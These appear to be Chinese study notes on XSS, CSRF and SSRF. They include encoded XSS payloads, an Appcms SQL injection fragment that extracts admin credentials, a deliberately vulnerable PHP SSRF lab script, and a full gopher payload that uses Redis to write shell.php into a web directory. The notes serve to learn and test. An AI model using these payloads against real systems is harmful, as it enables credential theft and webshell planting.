XSS、CSRF、SSRF学习笔记 知识点xss分类反射型 非持久 不能进数据库 刷新一次就没了 搜索框地址栏等dom型 前端JS自己把攻击者的输入当HTML解析存储型 xss语句进入数据库侧信道系统在算东西的时候会不自觉地泄露信息——时间、功耗、电磁波、声音、缓存状态……攻击者不直接破解算法而是通过观察这些副作用来推断出密钥或敏感数据CRLF当程序把用户输入直接拼接到 HTTP 响应头里且没过滤 \r\n 时攻击者可以注入换行符自己制造响应头甚至响应体csrf客户端请求伪造,被动触发目前的服务器对form表单提交有token值验证ssrf服务端请求伪造形成原因服务端提供了从其他服务器应用获取数据的功能同时没有对目标地址做过滤与限制导致攻击者可以传入任意地址来让后端服务器对其发起请求并返回对该目标地址的请求数据造成危害本地利用本地端口探测服务探测php中下面函数使用不当会导致ssrffile_get_contents()fsockopen()curl_exec()常用端口9000fastcgi6379redis3306:mysqlGOPHER协议 向任意端口发送任意格式的数据file协议 读文件dict协议 探测端口任意文件读取危害敏感信息配置文件ssrf结合redisredis低版本(3.2.6)才能生效redis漏洞写入任务计划写入webshell写入公钥redis非关系型数据库特征快因为数据保存在内存中内存小存储数据有限一般都是redismysql数据容易丢有持久化机制可写到硬盘中任意文件下浏览器解析机制1.a href%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29aaa/a //不能对协议类型进行编码不然url会认为是无类型对javascript伪协议进行编码导致url不识别 2.a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;:%61%6c%65%72% 74%28%32%29aaa/a //属性值下的字符引用先进行html实体解码然后进行url解析url看到的内容是a hrefjavascript :%61%6c%65%72%74%28%32%29没有编码协议所以url认识最终进入js解析时内容为a href javascr ipt:alert(1) 3.a hrefjavascript%3aalert(3)aaa/a //用URL编码:完整伪协议应该是javascript: 因此认为是无类型url不识别 4.div#60;img srcx onerroralert(4)#62;/div //先解析到tag open state状态再解析divtag name state状态div标签结束然后解析器看到#60; 认为是数据状态下的字符引用正常html标签运行必须进入标签开始状态而此时解析器只会解码无法进入标签开始状态 5.textarea#60;script#62;alert(5)#60;/script#62;/textarea //RCDATE元素可以容纳文本和字符引用但是解析器遇到编码只进行解码 6.textareascriptalert(6)/script/textarea //解析RCDATE元素解析器会进入RCDATE状态在RCDATE状态下只有/textarea和/title被认为是标签其他内容都被认为是文本 7.button onclickconfirm(7#39;)Button/button //先实体解码后button onclickconfirm(7)Button/button,然后进入js解析 8.button onclickconfirm(8\u0027);Button/button //unicode编码js支持unicode编码但是不能编码符号会被认为是字符串 9.script#97;#108;#101;#114;#116#40;#57;#41;#59/script //原生文本只能把里面的内容当做文本script标签中的内容html不进行解码会认为是普通字符 10.script\u0061\u006c\u0065\u0072\u0074(10);/script //unicode编码js支持unicode编码没有对符号进行编码可执行 11.script\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029/script //unicode编码js支持unicode编码但是对所有内容进行编码 12.script\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)/script //unicode编码js支持unicode编码不能对数字编码或者括号内的内容需添加引号不添加js解析器不会认为\u0031\u0032是字符串 14.scriptalert(14\u000a)/script //解析成换行也能触发 15.a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x33;#x31;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x36;#x33;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x33;#x35;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x37;#x25;#x33;#x32;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x37;#x25;#x33;#x34;#x28;#x31;#x35;#x29;aaa/a //html实体解码为javascript:%5c%75%30%30%36%31%5c%75%30%30%36%33%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)再url解析为\u0061\u0063\u0065\u0072\u0074(15)然后js解析为alert(15)漏洞复现level1scriptalert(1)/script源代码:level2需要用户交互a onfocusalert(1)非用户交互a autofocus onfocusalert(1)level3源代码a onclickalert(1)Ok, Boomer思考setTimeout定时器如何使用为什么会出现oksetTimeout传递函数和字符串如果传递字符串等于用eval执行这个字符串ok传入一个idok的标签可以拿到整个标签的内容思路找到DOMP的白名单cidtela hreftel:alert(ok) idoka/a思考为什么要用a标签其他的可以吗a标签自带tostring方法可以将href的属性转化成字符串settimeout可以执行其他标签是继承父类Appcms1.1.1.1),(2,0,0,(select upass from appcms_admin_list),(select uname from appcms_admin_list),123,2.2.2.2)#问题:设置了安全码如何获取如何找到后台思路xss获取后台地址csrf存储型xssgetshell管理员可以在后台触发js上传存储型xss后台管理员触发成功创建文件多重xss注入ssrf结合redis?php highlight_file(__file__); function curl($url){ $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); echo curl_exec($ch); curl_close($ch); } ​ if(isset($_GET[url])){ $url $_GET[url]; ​ if(preg_match(/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is, $url,$match)) { die(No, No, No!); } curl($url); } if(isset($_GET[info])){ phpinfo(); } ?bursupit爆破到其他端口思考redis怎么用redis如何实现打任务计划打shell,打公钥思路ssrfgopher协议控制redis然后利用ssrf往redis写入数据利用ssrf执行持久化命令往哪个位置写入数据1.任务计划位置2.web目录下3.root/ssh目录下通过爆破找到var/www/html/upload目录利用gopherus生成payload二次编码写入成功gopher%3A%2F%2F172%2E19%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250Ahttp://192.168.17.131:8091/?urlgopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%252Fvar%252Fwww%252Fhtml%252Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A